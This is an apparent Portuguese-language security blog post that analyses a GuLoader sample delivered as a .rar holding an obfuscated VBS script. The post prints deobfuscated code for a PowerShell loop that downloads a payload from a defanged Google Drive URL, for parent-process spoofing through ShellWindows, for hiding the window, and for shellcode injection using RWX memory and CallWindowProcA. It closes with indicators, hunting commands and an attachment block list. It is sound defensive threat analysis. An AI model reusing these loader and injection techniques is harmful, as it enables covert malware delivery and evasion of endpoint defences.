02 de agosto de 2026 · 13 min de leitura · … visitas
Anatomia de um .rar que não era documento: quatro camadas até o GuLoader
Um anexo de 129 KB sem executável, sem macro e sem exploit. Abrimos em laboratório e reconstruímos as quatro camadas de ofuscação, do VBS em dinamarquês à injeção via CallWindowProcA.
Um anexo chegou por e-mail num dos ambientes que a UNODATA protege: doc-_AS-55087.rar, 129 KB. O nome tem cara de documento administrativo, desses que a gente abre no automático porque parece ordem de serviço, nota fiscal ou boleto. Abrimos, mas em laboratório, com o arquivo sem permissão de execução e a rede isolada.
O que estava lá dentro merece ser contado inteiro, porque cada camada existe para enganar uma ferramenta de defesa diferente. Não é um malware que tenta ser invisível de um jeito só. São decisões independentes, empilhadas, e cada uma tem endereço certo: uma mira o antivírus de assinatura, outra mira o proxy de saída, outra mira a árvore de processos que o EDR observa, e a última mira o próprio log de script do PowerShell.
Nada aqui é hipótese de manual. Tudo abaixo foi medido na amostra. Onde não conseguimos provar, eu digo que não conseguimos.
Aviso: todos os endereços neste artigo estão defangados (
hxxps,[.]) de propósito. O payload respondia HTTP 200 no dia da análise. Não cole essas URLs num navegador.
Camada zero: o disfarce que aposta na coluna estreita
Dentro do RAR, um único arquivo:
doc- AS-55087.vbs 276.246 bytes
Repare no espaço no lugar do underscore. É a primeira aposta do autor: no gerenciador de arquivos, com a coluna estreita, doc- AS-55087.vbs lido rápido é “documento”. A extensão real fica escondida à direita, fora do campo de visão, e no Windows com extensões conhecidas ocultas ela some de vez.
Um .vbs de 276 KB já é anomalia por si só. Script legítimo desse tamanho praticamente não existe. Na triagem, tamanho fora da curva para o tipo de arquivo é um sinal barato e subestimado.
Camada um: 5.600 linhas de dinamarquês para esconder uma palavra
O arquivo tem 5.670 linhas. Filtrando os comentários, sobram 70.
As outras 5.600 são assim:
Rem Maltekstrakt! mystificexr138! agapemonist158 leopoldinia: byggeklodsen?
Rem Cytologis: oxyuricide woald drmmeanalyserne
Rem Korari! puredee microchip, vinkede,
Rem Genudsendelsers, triality
Palavras de dicionário dinamarquês e inglês, sorteadas, com pontuação aleatória. Não fazem nada. Existem para diluir o código real numa massa de texto e derrubar a densidade de indicadores que um antivírus mede por proximidade. É ruído com propósito, e funciona: o arquivo fica estatisticamente parecido com texto natural.
Nas 70 linhas úteis está o truque de que mais gostei em toda a amostra:
Set Manvreudygtig = Tenuifolious.OpenTextFile("c:\windows\notepad.exe", 1)
Truckline = Afstressende.ReadAll
Homed = instr(1, Truckline, "s")
Reinvestigation = mid(Truckline, Homed, 1) ' "s"
Homed = instr(1, Truckline, "l")
Kulkldere = mid(Truckline, Homed, 1) ' "l"
Ele abre o notepad.exe como se fosse arquivo de texto e lê o binário inteiro só para colher duas letras: um s e um l. Depois monta:
Kommandrkaptajnernes = "pow" + "er" + Reinvestigation + "he" + Kulkldere + Kulkldere
pow mais er mais s mais he mais l mais l resulta em powershell. A palavra nunca aparece escrita no arquivo. Quem procura a string powershell no anexo não acha, e as duas letras que faltam vêm de um executável que existe em toda instalação do Windows, o que torna o truque portável e silencioso.
O comando final:
Call Overstored.ShellExecute(Kommandrkaptajnernes, Chr(34) & Gasoliery & Chr(34), , , 0)
Aquele 0 no fim é o window style. Zero significa janela oculta. Ninguém vê nada acontecer.
Camada dois: a chave Silvertip e o download que ninguém bloqueia
O argumento passado ao PowerShell é montado em 20 pedaços e passa por quatro substituições de texto: axis vira s, longar vira o, hoimulz vira $ e Humoled vira c. Antes disso, o script parece linguagem inventada. Depois, vira PowerShell perfeitamente legível.
Dentro dele, uma constante:
$direktionen = @(83,105,108,118,101,114,116,105,112)
Esses inteiros em ASCII soletram Silvertip. É a chave de tudo o que vem depois, e ela é usada de dois jeitos diferentes: subtraída de arrays de inteiros e aplicada em XOR sobre blocos Base64.
O IEX também está escondido. A função decodificadora recebe @(156,174,196), subtrai S, i e l e devolve IEX. Nem Invoke-Expression nem a sigla aparecem em claro em lugar nenhum do script.
Decodificadas, as chamadas revelam a intenção:
$westerner = 'hxxps://drive.google[.]com/uc?export=download&id=1ge2-tdX0-_A6ZU6FDMEFynhz1m0L5lHm'
$historisere = $env:appdata + '\Maleic.For'
$madweed = New-Object -Com 'Msxml2.ServerXMLHTTP.6.0'
while (!(Test-Path $historisere)) {
$madweed.open('GET', $westerner, $false)
$madweed.setRequestHeader('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0')
$madweed.send()
if ($madweed.status -eq 200) { sc $historisere $madweed.responseBody -Encoding Byte }
Sleep(4)
}
São três escolhas deliberadas, e vale destrinchar cada uma.
- O download usa
Msxml2.ServerXMLHTTP, componente COM antigo, em vez deInvoke-WebRequest. Isso não é preferência estética:Invoke-WebRequesté justamente o cmdlet que as regras de detecção observam com mais atenção em log de script. - O User-Agent se passa por Firefox numa versão plausível. Quem filtra por User-Agent de ferramenta automatizada não vê nada estranho.
- O destino é o Google Drive, domínio que empresa nenhuma bloqueia no proxy sem quebrar a operação inteira.
E o laço while insiste até o arquivo existir, com pausa de quatro segundos. Se a rede estiver instável ou o proxy demorar, ele espera. Malware bem escrito tem tolerância a falha, como qualquer software.
O arquivo é gravado como Maleic.For, dentro de %APPDATA%. Extensão que não existe no Windows, e por isso não dispara associação de programa nem chama atenção numa varredura que procura .exe e .dll em pasta de perfil.
Depois ele relê o arquivo, decodifica de Base64 e faz algo peculiar:
$hypokondris = $gullage.substring(140927, 19150)
IEX $hypokondris
Executa um recorte do meio do arquivo. Os 19.150 caracteres a partir do byte 140.927. Todo o resto não é script.
Camada três: o que estava no Drive
A URL respondeu HTTP 200 no dia da análise. O payload continuava no ar.
São 213 KB de Base64 que viram 160.077 bytes. E esse blob tem três regiões distintas, que separamos por entropia:
offset 0 .. 7.319 shellcode x86 7.320 bytes entropia 7,898
offset 7.320 .. 140.926 payload cifrado 133.607 bytes entropia 7,747
offset 140.927 .. 160.076 PowerShell 19.150 bytes
O substring recorta exatamente a terceira região. As duas primeiras são carga, não texto. Entropia perto de 8,0 nas duas significa dado cifrado ou comprimido, sem estrutura legível. Para confirmar, rodamos strings no bloco inteiro de 140 KB e não saiu uma única URL, nome de DLL ou nome de API. Está tudo embaralhado, o que é exatamente o esperado.
O PowerShell recortado faz três coisas, e cada uma merece parágrafo próprio.
Primeiro, ele troca de pai
$feezed = "{9BA05972-F6A8-11CF-A442-00A0C90A8F39}"
$overdearness = [Type]::GetTypeFromCLSID($feezed)
$slagordsagtig = [Activator]::CreateInstance($overdearness)
$taagetalers = $slagordsagtig.Item()
...
$taagetalers.Document.Application.ShellExecute($machiavellisme, $nonsibilance, $env:userprofile, $null, 0)
Aquele CLSID é o objeto COM ShellWindows. O script pega uma janela já aberta do Explorer e pede que ela execute o próximo PowerShell.
O efeito é cirúrgico. A árvore de processos que a defesa esperava ver era outlook.exe gerando wscript.exe gerando powershell.exe, e essa sequência é alarme em qualquer EDR decente. O que ela passa a ver é explorer.exe gerando powershell.exe, que é exatamente o que acontece toda vez que um usuário abre um script clicando duas vezes. O elo comprometedor sumiu da árvore.
Se não houver janela do Explorer disponível, o script roda explorer.exe ele mesmo e tenta de novo, em laço, até conseguir.
De quebra, o caminho escolhido é \syswow64\WindowsPowerShell\v1.0\powershell.exe. Ele se re-executa em 32 bits, porque o shellcode que vem a seguir é x86 e não rodaria num processo de 64 bits.
Segundo, ele apaga a própria janela
${Host}.UI.RawUI.WindowTitle = 'enkeltrettelsers'
$spndingsroman = (ps | ? { $_.MainWindowTitle -eq 'enkeltrettelsers' })
$anyone.Invoke($spndingsroman.MainWindowHandle, 0) # user32!ShowWindow(hwnd, SW_HIDE)
Ele batiza a própria janela com um nome improvável, se encontra na lista de processos por esse nome e chama ShowWindow com SW_HIDE. É uma solução direta para um problema chato do atacante: como a execução agora nasce do Explorer, ela nasce com janela visível, e a janela precisa sumir sem matar o processo.
Terceiro, ele injeta sem tocar o disco
Aqui vale reparar em como ele alcança a API do Windows. Não usa Add-Type, não compila C#, não declara DllImport. Todas essas rotas deixariam rastro em disco, porque compilam um assembly temporário, e rastro em log de script. Ele chega em GetModuleHandle e GetProcAddress por reflexão, atravessando Microsoft.Win32.UnsafeNativeMethods dentro de System.dll, e monta o tipo delegate em memória com DefineDynamicAssembly.
Com as APIs na mão:
$dyrere = VirtualAlloc(0, 7320, 0x3000, 0x40) # PAGE_EXECUTE_READWRITE
$pseudocoele178 = VirtualAlloc(0, 43900928, 0x3000, 0x04) # PAGE_READWRITE, 41,87 MB
Marshal::Copy($blob, 0, $dyrere, 7320) # shellcode
Marshal::Copy($blob, 7320, $pseudocoele178, 133607) # payload cifrado
$lude = GetProcAddress(ntdll, 'NtProtectVirtualMemory')
CallWindowProcA($dyrere, $pseudocoele178, $lude, $lude, 0)
São quatro decisões, cada uma contra um detector específico.
O shellcode vai para memória RWX, executável e gravável ao mesmo tempo. O payload cifrado vai separado, numa região apenas gravável de 41,87 MB para 133 KB de conteúdo. Esse excesso não é desperdício: é o espaço onde ele vai se desempacotar.
O endereço de NtProtectVirtualMemory é passado como argumento para o shellcode. Isso não é conveniência de programação. Significa que a troca de permissão de memória, o momento em que o payload decifrado vira código executável, acontece dentro do código nativo, onde o log de script do PowerShell não enxerga absolutamente nada.
E a execução não usa CreateThread nem CreateRemoteThread, que são as chamadas que todo mundo monitora. Usa user32!CallWindowProcA, uma função de interface gráfica cujo trabalho legítimo é chamar um procedimento de janela. Passe um ponteiro de shellcode no lugar do procedimento e ela executa sem reclamar. É trampolim disfarçado de API de UI.
O que isso é
Pelo conjunto, e é o conjunto que importa aqui, a técnica é a do GuLoader, também conhecido como CloudEyE: nomes de variável em dinamarquês, cadeia VBS para PowerShell, payload cifrado hospedado em nuvem pública, shellcode de 7 KB disparado por CallWindowProcA recebendo NtProtectVirtualMemory como argumento, e processo pai falsificado via ShellWindows.
Preciso ser honesto sobre o grau de certeza: isso é inferência por padrão de comportamento, não confirmação por assinatura. Nenhuma dessas técnicas é exclusiva de uma família, mas as cinco juntas, nessa ordem, são a impressão digital conhecida do GuLoader.
E GuLoader é loader. A função dele é entregar outra coisa. Os 133 KB cifrados são essa outra coisa, e nós não os deciframos, porque a chave só existe dentro do shellcode em tempo de execução. Costuma ser ladrão de credencial ou RAT, mas dizer qual sem ter aberto seria inventar. Fica em aberto, e prefiro deixar em aberto a preencher com achismo.
O que dá para levar disso para a sua operação
O anexo pesa 129 KB e não contém um único executável. Não há PE, não há macro, não há CVE, não há exploit. Tudo o que ele faz, ele faz com programa que já vem no Windows: wscript, powershell, explorer, msxml, user32. O único byte hostil que toca o disco é um arquivo sem extensão reconhecível dentro do %APPDATA%, e mesmo esse chega cifrado.
Por isso a defesa que funciona não é a que procura vírus no anexo. É a que pergunta outra coisa: este tipo de arquivo tem motivo para chegar aqui?
Script executável dentro de container comprimido não tem. Extensões como .vbs, .vbe, .js, .jse, .wsf, .wsh, .hta, .lnk, .scr e .ps1 dentro de .rar, .zip ou .7z não são caso de análise. São caso de recusa na borda, antes de qualquer scanner opinar. No filtro de e-mail que operamos essa é uma regra de tipo de anexo, e ela vale mais do que qualquer assinatura, porque não depende de conhecer a amostra. Nunca vimos essa amostra antes e ela teria sido barrada do mesmo jeito.
A segunda linha é a telemetria de processo. wscript.exe gerando powershell.exe com linha de comando de milhares de caracteres é um evento que nenhuma operação legítima produz. Vale alerta mesmo que o antivírus tenha ficado quieto, e neste caso, com quatro camadas de ofuscação e o pai trocado por explorer.exe, ficar quieto é o desfecho provável. Vale registrar também que a troca de pai só apaga o elo se o EDR olhar apenas a relação direta: quem correlaciona por janela de tempo ainda enxerga o wscript.exe vivo ao lado.
E a terceira é a mais desconfortável de aceitar: o Google Drive não é um domínio confiável para tráfego de saída. É infraestrutura de entrega de malware tanto quanto qualquer servidor alugado, com a vantagem, para o atacante, de ter reputação impecável e TLS válido. Bloquear por reputação de domínio não pega isto. Só pega quem olha o que o processo está fazendo, não para onde ele está indo.
Indicadores
SHA-256 RAR 5c5d5e06becb5b3e1bc0233e59daddf633b941827e876881e8443ab013d1db9f
MD5 RAR 779c03d21e11c59e185e86058f1f00fd
SHA-256 VBS 09ee0840c5d0be078ae14befe4a7e758a7c421635d56f6b24038f6bf51f219eb
SHA-256 blob c055fe90138171d1fb82db80957b47cce6e084b2b02b0eb4abe7e4494cd91964
SHA-256 shellcode eb79725e2081161bc4dba8d0560277052f9dc94674960394d5c3666cd0f0c368
SHA-256 payload e12ba49d08b0fd4362b90cbe1f25aacd0912f7ab5a43944254b035d063d6e612
URL estágio 2 hxxps://drive.google[.]com/uc?export=download&id=1ge2-tdX0-_A6ZU6FDMEFynhz1m0L5lHm
Drive file id 1ge2-tdX0-_A6ZU6FDMEFynhz1m0L5lHm
Arquivo em disco %APPDATA%\Maleic.For
Título de janela enkeltrettelsers
Chave Silvertip
CLSID {9BA05972-F6A8-11CF-A442-00A0C90A8F39} ShellWindows
User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0
Para caçar no seu parque:
Test-Path "$env:APPDATA\Maleic.For"
Get-CimInstance Win32_Process -Filter "Name='powershell.exe'" |
Where-Object { $_.CommandLine.Length -gt 4000 } |
Select-Object ProcessId, ParentProcessId, CommandLine
Perguntas frequentes
Como um arquivo .vbs dentro de um .rar passa pelo antivírus?
Porque não há nada de hostil para assinar. O .vbs desta amostra tem 276 KB, dos quais mais de 98 por cento são comentários com palavras de dicionário dinamarquês. As poucas linhas úteis nunca escrevem a palavra powershell: elas montam a string juntando pedaços e colhendo duas letras de dentro do notepad.exe. Antivírus de assinatura procura padrão conhecido e densidade de indicadores por proximidade, e as duas coisas foram atacadas de propósito.
Por que atacantes hospedam o payload no Google Drive?
Por reputação e por TLS válido. Bloqueio por reputação de domínio não pega drive.google.com, porque nenhuma empresa consegue bloquear o Google no proxy sem quebrar a operação. O atacante ganha um canal de entrega com certificado legítimo, alta disponibilidade e custo zero. A defesa não pode ser o destino do tráfego: tem que ser o comportamento do processo que originou a conexão.
O que é o GuLoader?
GuLoader, também conhecido como CloudEyE, é um loader. A função dele não é roubar nem cifrar nada, é entregar outro malware com o mínimo de rastro possível. Costuma ser identificado pela combinação de cadeia VBS para PowerShell, payload cifrado hospedado em nuvem pública, shellcode pequeno em x86 e injeção por APIs incomuns. O que ele carrega varia: normalmente ladrão de credencial ou RAT.
Qual é a regra de borda que bloqueia esse tipo de anexo?
Recusar arquivo de script executável dentro de container comprimido, na borda, antes de qualquer scanner opinar. As extensões .vbs, .vbe, .js, .jse, .wsf, .wsh, .hta, .lnk, .scr e .ps1 dentro de .rar, .zip ou .7z não têm caso de uso corporativo legítimo que justifique chegar na caixa postal. É uma regra de tipo de anexo, não de assinatura, e por isso ela não depende de conhecer a amostra.
esse texto te ajudou?
continuar lendo
Outros artigos pra você

31 de mai. de 2026 · João Luiz
Seal Networks e o modelo one-stop-shop: o que muda para quem opera infraestrutura

26 de mai. de 2026 · João Luiz
Análise Técnica da Vulnerabilidade CVE-2026-6411 no MAXHUB Pivot Client Application

26 de mai. de 2026 · João Luiz
Desvendando a Vulnerabilidade CVE-2026-31431 no Linux: Uma Análise Técnica
malware · analise-de-ameacas · seguranca-de-email · powershell · guloader · sysadmin